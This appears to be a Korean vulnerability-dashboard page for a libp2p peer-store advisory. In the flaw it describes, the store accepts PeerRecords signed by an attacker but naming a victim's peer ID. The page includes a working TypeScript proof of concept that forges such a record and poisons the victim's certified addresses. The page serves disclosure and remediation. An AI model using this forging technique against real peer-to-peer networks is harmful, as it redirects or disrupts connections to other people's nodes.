Kestrel
대시보드로 돌아가기
CVE-2026-86039HIGH· 8.2MITRENVDGHSA대응게시일: 2026. 09. 17.수정일: 2026. 09. 17.

libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.2high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향높음
가용성 영향낮음
버전별 점수
CVSS 3.18.2HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

상세 설명

Summary

@libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.

Details

The vulnerable code is in packages/peer-store/src/index.ts:

  • RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options) verifies the envelope signature.
  • const peerId = peerIdFromCID(envelope.publicKey.toCID()) derives the envelope signer peer ID.
  • The optional expectedPeer check only compares expectedPeer to the envelope signer.
  • const peerRecord = PeerRecord.createFromProtobuf(envelope.payload) decodes peerRecord.peerId from attacker-controlled signed payload bytes.
  • this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true }) stores the addresses under the payload peer ID, not the verified signer peer ID.

The missing invariant is:

text
1peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))

packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:

text
1if (!peerRecord.peerId.equals(envelopePeer)) {
2 throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord')
3}

The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:

text
1peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })

This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.

PoC

text
1// TypeScript ESM PoC.
2import { strict as assert } from 'node:assert'
3import { generateKeyPair } from '@libp2p/crypto/keys'
4import { defaultLogger } from '@libp2p/logger'
5import { peerIdFromPrivateKey } from '@libp2p/peer-id'
6import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'
7import { persistentPeerStore } from '@libp2p/peer-store'
8import { multiaddr } from '@multiformats/multiaddr'
9import { MemoryDatastore } from 'datastore-core/memory'
10import { TypedEventEmitter } from 'main-event'
11
12const label = 'Certified peer-record address hijack'
13
14async function main (): Promise<void> {
15 const localKey = await generateKeyPair('Ed25519')
16 const attackerKey = await generateKeyPair('Ed25519')
17 const victimKey = await generateKeyPair('Ed25519')
18
19 const attacker = peerIdFromPrivateKey(attackerKey)
20 const victim = peerIdFromPrivateKey(victimKey)
21 const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')
22
23 const peerStore = persistentPeerStore({
24 peerId: peerIdFromPrivateKey(localKey),
25 datastore: new MemoryDatastore(),
26 events: new TypedEventEmitter(),
27 logger: defaultLogger()
28 })
29
30 // Payload claims victim, but the envelope is signed by attacker.
31 const forgedRecord = new PeerRecord({
32 peerId: victim,
33 multiaddrs: [attackerAddr],
34 seqNumber: 999999n
35 })
36 const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)
37
38 // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.
39 const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {
40 expectedPeer: attacker
41 })
42
43 assert.equal(accepted, true)
44
45 const poisonedVictim = await peerStore.get(victim)
46 assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({
47 multiaddr: multiaddr.toString(),
48 isCertified
49 })), [{
50 multiaddr: attackerAddr.toString(),
51 isCertified: true
52 }])
53
54 console.log(`${label} reproduced`)
55 console.log(`attacker signer: ${attacker}`)
56 console.log(`victim storage key: ${victim}`)
57 console.log(`stored certified address: ${attackerAddr}`)
58}
59
60main().catch(err => {
61 console.error(err)
62 process.exitCode = 1
63})

Expected output:

text
1Certified peer-record address hijack reproduced
2attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj
3victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn
4stored certified address: /ip4/203.0.113.66/tcp/4001

Impact

Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.

This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.